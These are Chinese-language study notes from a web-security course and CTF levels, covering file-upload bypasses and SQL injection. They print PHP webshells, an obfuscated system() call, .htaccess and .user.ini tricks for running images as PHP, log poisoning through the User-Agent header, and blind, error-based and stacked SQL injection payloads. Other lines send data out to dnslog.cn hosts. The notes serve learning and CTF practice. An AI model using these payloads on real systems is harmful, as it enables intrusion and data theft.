本关url地址上传文件之后,图片的地址不是写死的png(这样子是不能解析php的,要用ini),而是有“?=XXX.png”这样的url才有可能。
判断有没有二次渲染的方法:
1.判断文件上传前后的大小和内容
2.判断上传后文件返回数据包内容

如果不能上传php类型的文件,把后门代码写到了png中,要想png能被解析成php,就要使用一些方法:
1.包含漏洞
2.解析漏洞
3. .user.ini & .htaccess

https://blog.csdn.net/qq_40800734/article/details/105920149

get 0=system

post 1=tac flag.php

165 jpg二次渲染

1、先上传jpg正常,返回包发现渲染

2、上传jpg渲染后保存,生成带代码图片

调用执行:php jpg.php 1.jpg

166 zip调用包含

直接上传zip后修改代码

<?=eval($_POST[x]);?>

167 .htaccess妙用:
.htaccess是apache内置的“分布式配置文件”

.htaccess默认不支持nginx,设置后支持

.htaccess可以通过设置实现文件解析配置

可以将.png后缀的文件解析成php

AddType application/x-httpd-php .png

也可以将.png后缀的文件解析成php

168 免杀后门

<?php $a=’syste’;$b=’m’;$c=$a.$b;$c(‘tac ../flagaa.php’);?>

169 170日志包含

构造.user.ini利用条件:上传index.php 内容随意。因为.user.ini文件必须有index .php才能执行。如果目标目录没有index.php文件,我们应该上传一个。

上传.user.ini包含日志:auto_prepend_file=/var/log/nginx/access.log

访问地址带后门UA头写入日志:<?=eval($_POST[x]);?>

这20关的上传让我明白了一些绕过规则上传文件的思路,显然,当前后端都进行验证,过滤,修改路径,或者不让别人访问目录等,都可以很大程度上防止文件上传漏洞的发生。
注意到比如.user.ini的利用,很多文件上传漏洞必须配合其他漏洞来执行,换句话说我们也可以通过消除这些前置问题,文件上传也很难利用。

SQL注入–根据数据类型注入–根据提交方式注入–延迟报错等

一、根据数据类型

数据类型注入 – 数字型 字符型 搜索型 加密型(base64 json)等
·数字型:0到9;
·字符型:a-Z、中文、标点符号,会使用单引号闭合;
·搜索型:在基础上增加通配符,比如会加入百分号来进行搜索,比如‘%…%’;
·编码型:数据以编码值传递。比如客户端发送编码,服务端对编码解码之后再带入数据进行sql执行。所以我们针对这种类型,要对payload进行编码;
·加密型:数据会以加密后的密文发送,服务端解密再进行操作;
·格式型:比如JSON

如何判断类型?一般用get方式传数据的话可以在地址栏那里看到查询的语句,比如?id=1可能是数字型,比如?name=sigma可能是字符型 ,比如注入点是搜索框,可能是搜索型,要是看不懂的如?id=be==可能是编码型

json形式跟别的区别在于表现的形式。json是键名和键值组合的,因此在构造payload的时候要注意一些细节,如
json={“username”:”admin’ and 1=2 union select 1,database(),3#”}
注入的内容其实没变,只是要找到注入点位置

宽字节注入

借助繁体字符或者乱码,他们会占用两个字节。在一些有转义功能的情况中,\占1个字符,如果使用宽字节,可以占用该位置

二、根据提交方式:

首先,我们注意很多时候使用get方式提交数据的时候,我们能直接修改URL来测试。但是浏览器不可能让我们输入无限长度的url,所以往往会换一种方式提交,即POST方式等(数据请求方式-GET&POST&COOKIE等)。

get一般在报文头
cookie一般在报文中
post一般在报文尾

在一些网页功能点,需要与数据库产生联系,比如查询的,就会产生sql注入的可能。
迪总给出了三种情景:
①后台要记录操作IP
②网站要根据用户的设备给予显示界面
③网站要进行文件上传,用户登录等

使用工具(sqlmap)时,使用数据包来操作比较高效。而使用工具的时候还需要告诉工具使用何种方式提交数据,否则笨比工具不会知道的。

迪总讲了几个案例:
1.zzcms记录ip
如果输入账号密码后,出现了限制次数,思路可以是换IP地址看看限制有没有解除。在演示中,zzcms有一个getip()函数,该函数作用是提取IP。过程是依次从可能存在ip地址的数据中查看ip,其中有一个获取ip的地方叫“X-Forwarded-For:”可以通过抓包修改伪造ip。如果没有这个,可能会获取本机IP。该漏洞类型可以成为XFF头注入

数据库类型:决定攻击手法,payload不一样
数据类型注入:payload考虑闭合、数据格式
提交方式:数据请求不同,注入需要按照指定的方式去测试。注意,url没有参数不代表没有注入,比如post可能把请求数据放在数据包之中,另外,http数据包任何一个地方只要被接受,如XFF,就有可能产生漏洞。

#部分语言接受代码块

<?php

header(“Content-Type: text/html; charset=utf-8”);

$get=$_GET[‘g’];

$post=$_POST[‘p’];

$cookie=$_COOKIE[‘c’];

$request=$_REQUEST[‘r’];

$host=$_SERVER[‘HTTP_HOST’];

$user_agent=$_SERVER[“HTTP_USER_AGENT”];

$ip=$_SERVER[“HTTP_X_FORWARDED_FOR”];

echo $get.”<hr>”;

echo $post.”<hr>”;

echo $cookie.”<hr>”;

echo $request.”<hr>”;

echo $host.”<hr>”;

echo $user_agent.”<hr>”;

echo $ip;

?>

Java Spring  不同框架,不同写法

method=RequestMethod.GET

method=RequestMethod.POST

request.getParameter(“参数名”);

可以直接获取get请求的参数key对应的value

也可以从请求体中获取参数的key对应的value

Python flask 不同框架,不同写法

requests.get

requests.post

request.args.get(key)

request.form.get(key)

request.values.get(key)

盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。

解决:常规的联合查询注入不行的情况

我们可以知道盲注分为以下三类:

-基于布尔的SQL盲注-逻辑判断

regexp,like,ascii,left,ord,mid

-基于时间的SQL盲注-延时判断

if,sleep

-基于报错的SQL盲注-报错回显

floor,updatexml,extractvalue //以php为例子,$result=mysql_query($sql,$conn) or die(mysql_error())这是为了容错触发的报错命令,只有写上了这条命令才能使用否则无效。

https://www.jianshu.com/p/bc35f8dd4f7c

参考:

like ‘ro%’ #判断ro或ro…是否成立

regexp ‘^xiaodi[a-z]’ #匹配xiaodi及xiaodi…等

if(条件,5,0) #条件成立 返回5 反之 返回0

sleep(5) #SQL语句延时执行5秒,可以在bp里面抓包发送,观察右下角的速度来判断

mid(a,b,c) #从位置b开始,截取a字符串的c位

substr(a,b,c) #从位置b开始,截取字符串a的c长度

left(database(),1),database() #left(a,b)从左侧截取a的前b位

length(database())=8 #判断数据库database()名的长度

ord=ascii ascii(x)=97 #判断x的ascii码是否等于97

SQL查询方式注入

select,insert,update,delete,orderby等

#SQL-盲注&布尔&报错&延时

PHP开发项目-输出结果&开启报错

基于延时:不需要任何前提条件就能运用

/blog/news.php?id=1 and if(1=1,sleep(5),0)

基于布尔:有数据库输出判断标准

/blog/news.php?id=1 and length(database())=7

基于报错:有数据库报错处理判断标准

/blog/news.php?id=2 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

基本知识本地测试

select * from member where username like ‘vi%’;

select * from member where username regexp ‘^x’;

select * from member where id=1 and sleep(1);

select * from member where id=1 and if(1>2,sleep(1),0);

select * from member where id=1 and if(1<2,sleep(1),0);

select * from member where id=1 and length(database())=7;

select * from member where id=1 and left(database(),1)=’p’;

select * from member where id=1 and left(database(),2)=’pi’;

select * from member where id=1 and substr(database(),1,1)=’p’;

select * from member where id=1 and substr(database(),2,1)=’i’;

select * from member where id=1 and ord(left(database(),1))=112; //ord()指的是变成ascii码

1、数据库堆叠注入
2、数据库二次注入

二次注入:先把攻击语句插入数据库中,当其他操作调用该数据,拼接后的新的payload会进行攻击。存在二次注入的特征,比如当注册需要邮箱、用户名、密码等,登录的时候需要输入用户名或者邮箱,密码,登陆成功显示了没有输入的内容,表明存在能二次注入的可能。
比方说,登陆输入邮箱、密码,登陆成功能够显示用户名(并没有输入),说明进行了查询,那么攻击者会把payload注入到用户名,后续执行操作会拼接语句。
换而言之,二次注入的原因是程序员限制、过滤用户输入的恶意payload,但是在存储时能够被完整保存下来,由于使用查看等不会储存如新数据的功能,程序员在这里没有进行过滤,导致了二次注入漏洞。
3、数据库Dnslog注入

#堆叠注入-数据库类型&强网杯2019随便注

根据数据库类型决定是否支持多条语句执行

支持堆叠数据库类型:MYSQL MSSQL Postgresql等

‘;show databases;

‘;show tables;

‘;show columns from `1919810931114514`;

‘;select flag from `1919810931114514`;

‘;SeT @a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;

#DNS利用-平台介绍&SQL注入&命令执行等

1.平台

http://www.dnslog.cn

http://admin.dnslog.link

http://ceye.io

2.应用场景:

解决不回显,反向连接,SQL注入,命令执行,SSRF等。当网页不回显信息,可以使用DNSlog带外让服务器自己发出申请,让命令执行结果显示在dnslog.cn这个网页上,比如显示版本号、数据库名等。
在内网中发挥作用,此处回忆内网安全学习中使用dns传输数据的内容。
在命令执行中,dnslog发挥巨大用处。

SQL注入:

select load_file(concat(‘\\\\’,(select database()),’.7logee.dnslog.cn\\aa’));

and (select load_file(concat(‘//’,(select database()),’.69knl9.dnslog.cn/abc’)))

命令执行:

ping %USERNAME%.7logee.dnslog.cn